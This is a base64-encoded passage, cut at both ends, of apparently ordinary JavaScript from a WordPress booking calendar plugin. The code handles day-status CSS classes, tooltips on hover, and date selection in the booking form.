knXVsnc3RhdHVzX2Zvcl9ib29raW5ncycgXSA9ICcnO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBSZXNldCBib29raW5nIHN0YXR1cyBjb2xvciBmb3IgcG9zc2libGUgb2xkIGJvb2tpbmdzIG9uIHRoaXMgZGF0ZVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0Y2FzZSAnd2Vla2RheV91bmF2YWlsYWJsZSc6XHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdkYXRlX3VzZXJfdW5hdmFpbGFibGUnLCAnd2Vla2RheV91bmF2YWlsYWJsZScgKTtcclxuXHRcdFx0XHRkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9ib29raW5ncycgXSA9ICcnO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBSZXNldCBib29raW5nIHN0YXR1cyBjb2xvciBmb3IgcG9zc2libGUgb2xkIGJvb2tpbmdzIG9uIHRoaXMgZGF0ZVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0Y2FzZSAnZnJvbV90b2RheV91bmF2YWlsYWJsZSc6XHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdkYXRlX3VzZXJfdW5hdmFpbGFibGUnLCAnZnJvbV90b2RheV91bmF2YWlsYWJsZScgKTtcclxuXHRcdFx0XHRkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9ib29raW5ncycgXSA9ICcnO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBSZXNldCBib29raW5nIHN0YXR1cyBjb2xvciBmb3IgcG9zc2libGUgb2xkIGJvb2tpbmdzIG9uIHRoaXMgZGF0ZVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0Y2FzZSAnbGltaXRfYXZhaWxhYmxlX2Zyb21fdG9kYXknOlxyXG5cdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV91c2VyX3VuYXZhaWxhYmxlJywgJ2xpbWl0X2F2YWlsYWJsZV9mcm9tX3RvZGF5JyApO1xyXG5cdFx0XHRcdGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeSddWydzdGF0dXNfZm9yX2Jvb2tpbmdzJyBdID0gJyc7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIFJlc2V0IGJvb2tpbmcgc3RhdHVzIGNvbG9yIGZvciBwb3NzaWJsZSBvbGQgYm9va2luZ3Mgb24gdGhpcyBkYXRlXHJcblx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRjYXNlICdjaGFuZ2Vfb3Zlcic6XHJcblx0XHRcdFx0LypcclxuXHRcdFx0XHQgKlxyXG5cdFx0XHRcdC8vICBjaGVja19vdXRfdGltZV9kYXRlMmFwcHJvdmUgXHQgXHRjaGVja19pbl90aW1lX2RhdGUyYXBwcm92ZVxyXG5cdFx0XHRcdC8vICBjaGVja19vdXRfdGltZV9kYXRlMmFwcHJvdmUgXHQgXHRjaGVja19pbl90aW1lX2RhdGVfYXBwcm92ZWRcclxuXHRcdFx0XHQvLyAgY2hlY2tfaW5fdGltZV9kYXRlMmFwcHJvdmUgXHRcdCBcdGNoZWNrX291dF90aW1lX2RhdGVfYXBwcm92ZWRcclxuXHRcdFx0XHQvLyAgY2hlY2tfb3V0X3RpbWVfZGF0ZV9hcHByb3ZlZCBcdCBcdGNoZWNrX2luX3RpbWVfZGF0ZV9hcHByb3ZlZFxyXG5cdFx0XHRcdCAqL1xyXG5cclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ3RpbWVzcGFydGx5JywgJ2NoZWNrX2luX3RpbWUnLCAnY2hlY2tfb3V0X3RpbWUnICk7XHJcblx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjJcclxuXHRcdFx0XHRpZiAoIGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeScgXVsgJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0uaW5kZXhPZiggJ2FwcHJvdmVkX3BlbmRpbmcnICkgPiAtMSApe1xyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlX2FwcHJvdmVkJywgJ2NoZWNrX2luX3RpbWVfZGF0ZTJhcHByb3ZlJyApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRpZiAoIGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeScgXVsgJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0uaW5kZXhPZiggJ3BlbmRpbmdfYXBwcm92ZWQnICkgPiAtMSApe1xyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlMmFwcHJvdmUnLCAnY2hlY2tfaW5fdGltZV9kYXRlX2FwcHJvdmVkJyApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ2NoZWNrX2luJzpcclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ3RpbWVzcGFydGx5JywgJ2NoZWNrX2luX3RpbWUnICk7XHJcblxyXG5cdFx0XHRcdC8vRml4SW46IDkuOS4wLjMzXHJcblx0XHRcdFx0aWYgKCBkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknIF1bICdzdGF0dXNfZm9yX2Jvb2tpbmdzJyBdLmluZGV4T2YoICdwZW5kaW5nJyApID4gLTEgKXtcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnY2hlY2tfaW5fdGltZV9kYXRlMmFwcHJvdmUnICk7XHJcblx0XHRcdFx0fSBlbHNlIGlmICggZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5JyBdWyAnc3RhdHVzX2Zvcl9ib29raW5ncycgXS5pbmRleE9mKCAnYXBwcm92ZWQnICkgPiAtMSApe1xyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19pbl90aW1lX2RhdGVfYXBwcm92ZWQnICk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0Y2FzZSAnY2hlY2tfb3V0JzpcclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ3RpbWVzcGFydGx5JywgJ2NoZWNrX291dF90aW1lJyApO1xyXG5cclxuXHRcdFx0XHQvL0ZpeEluOiA5LjkuMC4zM1xyXG5cdFx0XHRcdGlmICggZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5JyBdWyAnc3RhdHVzX2Zvcl9ib29raW5ncycgXS5pbmRleE9mKCAncGVuZGluZycgKSA+IC0xICl7XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NoZWNrX291dF90aW1lX2RhdGUyYXBwcm92ZScgKTtcclxuXHRcdFx0XHR9IGVsc2UgaWYgKCBkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknIF1bICdzdGF0dXNfZm9yX2Jvb2tpbmdzJyBdLmluZGV4T2YoICdhcHByb3ZlZCcgKSA+IC0xICl7XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NoZWNrX291dF90aW1lX2RhdGVfYXBwcm92ZWQnICk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0ZGVmYXVsdDpcclxuXHRcdFx0XHQvLyBtaXhlZCBzdGF0dXNlczogJ2NoYW5nZV9vdmVyIGNoZWNrX291dCcgLi4uLiB2YXJpYXRpb25zLi4uLiBjaGVjayBtb3JlIGluIFx0XHRmdW5jdGlvbiB3cGJjX2dldF9hdmFpbGFiaWxpdHlfcGVyX2RheXNfYXJyKClcclxuXHRcdFx0XHRkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9kYXknIF0gPSAnYXZhaWxhYmxlJztcclxuXHRcdH1cclxuXHJcblxyXG5cclxuXHRcdGlmICggJ2F2YWlsYWJsZScgIT0gZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfZGF5JyBdICl7XHJcblxyXG5cdFx0XHR2YXIgaXNfc2V0X3BlbmRpbmdfZGF5c19zZWxlY3RhYmxlID0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdwZW5kaW5nX2RheXNfc2VsZWN0YWJsZScgKTtcdC8vIHNldCBwZW5kaW5nIGRheXMgc2VsZWN0YWJsZSAgICAgICAgICAvL0ZpeEluOiA4LjYuMS4xOFxyXG5cclxuXHRcdFx0c3dpdGNoICggZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0gKXtcclxuXHJcblx0XHRcdFx0Y2FzZSAnJzpcclxuXHRcdFx0XHRcdC8vIFVzdWFsbHkgIGl0J3MgbWVhbnMgdGhhdCBkYXkgIGlzIGF2YWlsYWJsZSBvciB1bmF2YWlsYWJsZSB3aXRob3V0IHRoZSBib29raW5nc1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRcdGNhc2UgJ3BlbmRpbmcnOlxyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdkYXRlMmFwcHJvdmUnICk7XHJcblx0XHRcdFx0XHRpc19kYXlfc2VsZWN0YWJsZSA9IChpc19kYXlfc2VsZWN0YWJsZSkgPyB0cnVlIDogaXNfc2V0X3BlbmRpbmdfZGF5c19zZWxlY3RhYmxlO1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRcdGNhc2UgJ2FwcHJvdmVkJzpcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV9hcHByb3ZlZCcgKTtcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0XHQvLyBTaXR1YXRpb25zIGZvciBcImNoYW5nZS1vdmVyXCIgZGF5czogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0XHRcdGNhc2UgJ3BlbmRpbmdfcGVuZGluZyc6XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NoZWNrX291dF90aW1lX2RhdGUyYXBwcm92ZScsICdjaGVja19pbl90aW1lX2RhdGUyYXBwcm92ZScgKTtcclxuXHRcdFx0XHRcdGlzX2RheV9zZWxlY3RhYmxlID0gKGlzX2RheV9zZWxlY3RhYmxlKSA/IHRydWUgOiBpc19zZXRfcGVuZGluZ19kYXlzX3NlbGVjdGFibGU7XHJcblx0XHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdFx0Y2FzZSAncGVuZGluZ19hcHByb3ZlZCc6XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NoZWNrX291dF90aW1lX2RhdGUyYXBwcm92ZScsICdjaGVja19pbl90aW1lX2RhdGVfYXBwcm92ZWQnICk7XHJcblx0XHRcdFx0XHRpc19kYXlfc2VsZWN0YWJsZSA9IChpc19kYXlfc2VsZWN0YWJsZSkgPyB0cnVlIDogaXNfc2V0X3BlbmRpbmdfZGF5c19zZWxlY3RhYmxlO1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRcdGNhc2UgJ2FwcHJvdmVkX3BlbmRpbmcnOlxyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlX2FwcHJvdmVkJywgJ2NoZWNrX2luX3RpbWVfZGF0ZTJhcHByb3ZlJyApO1xyXG5cdFx0XHRcdFx0aXNfZGF5X3NlbGVjdGFibGUgPSAoaXNfZGF5X3NlbGVjdGFibGUpID8gdHJ1ZSA6IGlzX3NldF9wZW5kaW5nX2RheXNfc2VsZWN0YWJsZTtcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0XHRjYXNlICdhcHByb3ZlZF9hcHByb3ZlZCc6XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NoZWNrX291dF90aW1lX2RhdGVfYXBwcm92ZWQnLCAnY2hlY2tfaW5fdGltZV9kYXRlX2FwcHJvdmVkJyApO1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRcdGRlZmF1bHQ6XHJcblxyXG5cdFx0XHR9XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIFsgaXNfZGF5X3NlbGVjdGFibGUsIGNzc19jbGFzc2VzX19mb3JfZGF0ZS5qb2luKCAnICcgKSBdO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIE1vdXNlb3ZlciBjYWxlbmRhciBkYXRlIGNlbGxzXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gc3RyaW5nX2RhdGVcclxuXHQgKiBAcGFyYW0gZGF0ZVx0XHRcdFx0XHRcdFx0XHRcdFx0LSAgSmF2YVNjcmlwdCBEYXRlIE9iajogIFx0XHRNb24gRGVjIDExIDIwMjMgMDA6MDA6MDAgR01UKzAyMDAgKEVhc3Rlcm4gRXVyb3BlYW4gU3RhbmRhcmQgVGltZSlcclxuXHQgKiBAcGFyYW0gY2FsZW5kYXJfcGFyYW1zX2Fyclx0XHRcdFx0XHRcdC0gIENhbGVuZGFyIFNldHRpbmdzIE9iamVjdDogIFx0e1xyXG5cdCAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIFx0XHRcdFx0XHRcdFwicmVzb3VyY2VfaWRcIjogNFxyXG5cdCAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdCAqIEBwYXJhbSBkYXRlcGlja190aGlzXHRcdFx0XHRcdFx0XHRcdC0gdGhpcyBvZiBkYXRlcGljayBPYmpcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX19jYWxlbmRhcl9fb25faG92ZXJfZGF5cyggc3RyaW5nX2RhdGUsIGRhdGUsIGNhbGVuZGFyX3BhcmFtc19hcnIsIGRhdGVwaWNrX3RoaXMgKSB7XHJcblxyXG5cdFx0aWYgKCBudWxsID09PSBkYXRlICl7IHJldHVybiBmYWxzZTsgfVxyXG5cclxuXHRcdHZhciBjbGFzc19kYXkgICAgID0gd3BiY19fZ2V0X190ZF9jbGFzc19kYXRlKCBkYXRlICk7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gJzEtOS0yMDIzJ1xyXG5cdFx0dmFyIHNxbF9jbGFzc19kYXkgPSB3cGJjX19nZXRfX3NxbF9jbGFzc19kYXRlKCBkYXRlICk7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gJzIwMjMtMDEtMDknXHJcblx0XHR2YXIgcmVzb3VyY2VfaWQgPSAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YoY2FsZW5kYXJfcGFyYW1zX2FyclsgJ3Jlc291cmNlX2lkJyBdKSApID8gY2FsZW5kYXJfcGFyYW1zX2FyclsgJ3Jlc291cmNlX2lkJyBdIDogJzEnO1x0XHQvLyAnMSdcclxuXHJcblx0XHQvLyBHZXQgRGF0YSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIGRhdGVfYm9va2luZ19vYmogPSBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKCByZXNvdXJjZV9pZCwgc3FsX2NsYXNzX2RheSApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyB7Li4ufVxyXG5cclxuXHRcdGlmICggISBkYXRlX2Jvb2tpbmdfb2JqICl7IHJldHVybiBmYWxzZTsgfVxyXG5cclxuXHJcblx0XHQvLyBUIG8gbyBsIHQgaSBwIHMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIHRvb2x0aXBfdGV4dCA9ICcnO1xyXG5cdFx0aWYgKCBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0b29sdGlwX2F2YWlsYWJpbGl0eScgXS5sZW5ndGggPiAwICl7XHJcblx0XHRcdHRvb2x0aXBfdGV4dCArPSAgZGF0ZV9ib29raW5nX29ialsgJ3N1bW1hcnknXVsndG9vbHRpcF9hdmFpbGFiaWxpdHknIF07XHJcblx0XHR9XHJcblx0XHRpZiAoIGRhdGVfYm9va2luZ19vYmpbICdzdW1tYXJ5J11bJ3Rvb2x0aXBfZGF5X2Nvc3QnIF0ubGVuZ3RoID4gMCApe1xyXG5cdFx0XHR0b29sdGlwX3RleHQgKz0gIGRhdGVfYm9va2luZ19vYmpbICdzdW1tYXJ5J11bJ3Rvb2x0aXBfZGF5X2Nvc3QnIF07XHJcblx0XHR9XHJcblx0XHRpZiAoIGRhdGVfYm9va2luZ19vYmpbICdzdW1tYXJ5J11bJ3Rvb2x0aXBfdGltZXMnIF0ubGVuZ3RoID4gMCApe1xyXG5cdFx0XHR0b29sdGlwX3RleHQgKz0gIGRhdGVfYm9va2luZ19vYmpbICdzdW1tYXJ5J11bJ3Rvb2x0aXBfdGltZXMnIF07XHJcblx0XHR9XHJcblx0XHRpZiAoIGRhdGVfYm9va2luZ19vYmpbICdzdW1tYXJ5J11bJ3Rvb2x0aXBfYm9va2luZ19kZXRhaWxzJyBdLmxlbmd0aCA+IDAgKXtcclxuXHRcdFx0dG9vbHRpcF90ZXh0ICs9ICBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0b29sdGlwX2Jvb2tpbmdfZGV0YWlscycgXTtcclxuXHRcdH1cclxuXHRcdHdwYmNfc2V0X3Rvb2x0aXBfX19mb3JfX2NhbGVuZGFyX2RhdGUoIHRvb2x0aXBfdGV4dCwgcmVzb3VyY2VfaWQsIGNsYXNzX2RheSApO1xyXG5cclxuXHJcblxyXG5cdFx0Ly8gIFUgbiBoIG8gdiBlIHIgaSBuIGcgICAgaW4gICAgVU5TRUxFQ1RBQkxFX0NBTEVOREFSICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdHZhciBpc191bnNlbGVjdGFibGVfY2FsZW5kYXIgPSAoIGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nX3Vuc2VsZWN0YWJsZScgKyByZXNvdXJjZV9pZCApLmxlbmd0aCA+IDApO1x0XHRcdFx0Ly9GaXhJbjogOC4wLjEuMlxyXG5cdFx0dmFyIGlzX2Jvb2tpbmdfZm9ybV9leGlzdCAgICA9ICggalF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybV9kaXYnICsgcmVzb3VyY2VfaWQgKS5sZW5ndGggPiAwICk7XHJcblxyXG5cdFx0aWYgKCAoIGlzX3Vuc2VsZWN0YWJsZV9jYWxlbmRhciApICYmICggISBpc19ib29raW5nX2Zvcm1fZXhpc3QgKSApe1xyXG5cclxuXHRcdFx0LyoqXHJcblx0XHRcdCAqICBVbiBIb3ZlciBhbGwgZGF0ZXMgaW4gY2FsZW5kYXIgKHdpdGhvdXQgdGhlIGJvb2tpbmcgZm9ybSksIGlmIG9ubHkgQXZhaWxhYmlsaXR5IENhbGVuZGFyIGhlcmUgYW5kIHdlIGRvIG5vdCBpbnNlcnQgQm9va2luZyBmb3JtIGJ5IG1pc3Rha2UuXHJcblx0XHRcdCAqL1xyXG5cclxuXHRcdFx0d3BiY19jYWxlbmRhcnNfX2NsZWFyX2RheXNfaGlnaGxpZ2h0aW5nKCByZXNvdXJjZV9pZCApOyBcdFx0XHRcdFx0XHRcdC8vIENsZWFyIGRheXMgaGlnaGxpZ2h0aW5nXHJcblxyXG5cdFx0XHR2YXIgY3NzX29mX2NhbGVuZGFyID0gJy53cGJjX29ubHlfY2FsZW5kYXIgI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQ7XHJcblx0XHRcdGpRdWVyeSggY3NzX29mX2NhbGVuZGFyICsgJyAuZGF0ZXBpY2stZGF5cy1jZWxsLCAnXHJcblx0XHRcdFx0ICArIGNzc19vZl9jYWxlbmRhciArICcgLmRhdGVwaWNrLWRheXMtY2VsbCBhJyApLmNzcyggJ2N1cnNvcicsICdkZWZhdWx0JyApO1x0Ly8gU2V0IGN1cnNvciB0byBEZWZhdWx0XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHJcblxyXG5cclxuXHRcdC8vICBEIGEgeSBzICAgIEggbyB2IGUgciBpIG4gZyAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHRpZiAoXHJcblx0XHRcdCAgICggbG9jYXRpb24uaHJlZi5pbmRleE9mKCAncGFnZT13cGJjJyApID09IC0xIClcclxuXHRcdFx0fHwgKCBsb2NhdGlvbi5ocmVmLmluZGV4T2YoICdwYWdlPXdwYmMtbmV3JyApID4gMCApXHJcblx0XHRcdHx8ICggbG9jYXRpb24uaHJlZi5pbmRleE9mKCAncGFnZT13cGJjLWF2YWlsYWJpbGl0eScgKSA+IDAgKVxyXG5cdFx0XHR8fCAoICAoIGxvY2F0aW9uLmhyZWYuaW5kZXhPZiggJ3BhZ2U9d3BiYy1zZXR0aW5ncycgKSA+IDAgKSAgJiZcclxuXHRcdFx0XHQgICggbG9jYXRpb24uaHJlZi5pbmRleE9mKCAnJnRhYj1mb3JtJyApID4gMCApXHJcblx0XHRcdCAgIClcclxuXHRcdCl7XHJcblx0XHRcdC8vIFRoZSBzYW1lIGFzIGRhdGVzIHNlbGVjdGlvbiwgIGJ1dCBmb3IgZGF5cyBob3ZlcmluZ1xyXG5cclxuXHRcdFx0aWYgKCAnZnVuY3Rpb24nID09IHR5cGVvZiggd3BiY19fY2FsZW5kYXJfX2RvX2RheXNfaGlnaGxpZ2h0X19icyApICl7XHJcblx0XHRcdFx0d3BiY19fY2FsZW5kYXJfX2RvX2RheXNfaGlnaGxpZ2h0X19icyggc3FsX2NsYXNzX2RheSwgZGF0ZSwgcmVzb3VyY2VfaWQgKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBTZWxlY3QgY2FsZW5kYXIgZGF0ZSBjZWxsc1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIGRhdGVcdFx0XHRcdFx0XHRcdFx0XHRcdC0gIEphdmFTY3JpcHQgRGF0ZSBPYmo6ICBcdFx0TW9uIERlYyAxMSAyMDIzIDAwOjAwOjAwIEdNVCswMjAwIChFYXN0ZXJuIEV1cm9wZWFuIFN0YW5kYXJkIFRpbWUpXHJcblx0ICogQHBhcmFtIGNhbGVuZGFyX3BhcmFtc19hcnJcdFx0XHRcdFx0XHQtICBDYWxlbmRhciBTZXR0aW5ncyBPYmplY3Q6ICBcdHtcclxuXHQgKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICBcdFx0XHRcdFx0XHRcInJlc291cmNlX2lkXCI6IDRcclxuXHQgKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHQgKiBAcGFyYW0gZGF0ZXBpY2tfdGhpc1x0XHRcdFx0XHRcdFx0XHQtIHRoaXMgb2YgZGF0ZXBpY2sgT2JqXHJcblx0ICpcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX19jYWxlbmRhcl9fb25fc2VsZWN0X2RheXMoIGRhdGUsIGNhbGVuZGFyX3BhcmFtc19hcnIsIGRhdGVwaWNrX3RoaXMgKXtcclxuXHJcblx0XHR2YXIgcmVzb3VyY2VfaWQgPSAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YoY2FsZW5kYXJfcGFyYW1zX2FyclsgJ3Jlc291cmNlX2lkJyBdKSApID8gY2FsZW5kYXJfcGFyYW1zX2FyclsgJ3Jlc291cmNlX2lkJyBdIDogJzEnO1x0XHQvLyAnMSdcclxuXHJcblx0XHQvLyBTZXQgdW5zZWxlY3RhYmxlLCAgaWYgb25seSBBdmFpbGFiaWxpdHkgQ2FsZW5kYXIgIGhlcmUgKGFuZCB3ZSBkbyBub3QgaW5zZXJ0IEJvb2tpbmcgZm9ybSBieSBtaXN0YWtlKS5cclxuXHRcdHZhciBpc191bnNlbGVjdGFibGVfY2FsZW5kYXIgPSAoIGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nX3Vuc2VsZWN0YWJsZScgKyByZXNvdXJjZV9pZCApLmxlbmd0aCA+IDApO1x0XHRcdFx0Ly9GaXhJbjogOC4wLjEuMlxyXG5cdFx0dmFyIGlzX2Jvb2tpbmdfZm9ybV9leGlzdCAgICA9ICggalF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybV9kaXYnICsgcmVzb3VyY2VfaWQgKS5sZW5ndGggPiAwICk7XHJcblx0XHRpZiAoICggaXNfdW5zZWxlY3RhYmxlX2NhbGVuZGFyICkgJiYgKCAhIGlzX2Jvb2tpbmdfZm9ybV9leGlzdCApICl7XHJcblx0XHRcdHdwYmNfY2FsZW5kYXJfX3Vuc2VsZWN0X2FsbF9kYXRlcyggcmVzb3VyY2VfaWQgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIFVuc2VsZWN0IERhdGVzXHJcblx0XHRcdGpRdWVyeSgnLndwYmNfb25seV9jYWxlbmRhciAucG9wb3Zlcl9jYWxlbmRhcl9ob3ZlcicpLnJlbW92ZSgpOyAgICAgICAgICAgICAgICAgICAgICBcdFx0XHRcdFx0XHRcdC8vIEhpZGUgYWxsIG9wZW5lZCBwb3BvdmVyc1xyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblxyXG5cdFx0alF1ZXJ5KCAnI2RhdGVfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnZhbCggZGF0ZSApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gQWRkIHNlbGVjdGVkIGRhdGVzIHRvICBoaWRkZW4gdGV4dGFyZWFcclxuXHJcblxyXG5cdFx0aWYgKCAnZnVuY3Rpb24nID09PSB0eXBlb2YgKHdwYmNfX2NhbGVuZGFyX19kb19kYXlzX3NlbGVjdF9fYnMpICl7IHdwYmNfX2NhbGVuZGFyX19kb19kYXlzX3NlbGVjdF9fYnMoIGRhdGUsIHJlc291cmNlX2lkICk7IH1cclxuXHJcblx0XHR3cGJjX2Rpc2FibGVfdGltZV9maWVsZHNfaW5fYm9va2luZ19mb3JtKCByZXNvdXJjZV9pZCApO1xyXG5cclxuXHRcdC8vIEhvb2sgLS0gdHJpZ2dlciBkYXkgc2VsZWN0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHR2YXIgbW91c2VfY2xpY2tlZF9kYXRlcyA9IGRhdGU7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBDYW4gYmU6IFwiMDUuMTAuMjAyMyAtIDA3LjEwLjIwMjNcIiAgfCAgXCIxMC4xMC4yMDIzIC0gMTAuMTAuMjAyM1wiICB8XHJcblx0XHR2YXIgYWxsX3NlbGVjdGVkX2RhdGVzX2FyciA9IHdwYmNfZ2V0X19zZWxlY3RlZF9kYXRlc19zcWxfX2FzX2FyciggcmVzb3VyY2VfaWQgKTtcdFx0XHRcdFx0XHRcdFx0XHQvLyBDYW4gYmU6IFsgXCIyMDIzLTEwLTA1XCIsIFwiMjAyMy0xMC0wNlwiLCBcIjIwMjMtMTAtMDdcIiwg4oCmIF1cclxuXHRcdGpRdWVyeSggXCIuYm9va2luZ19mb3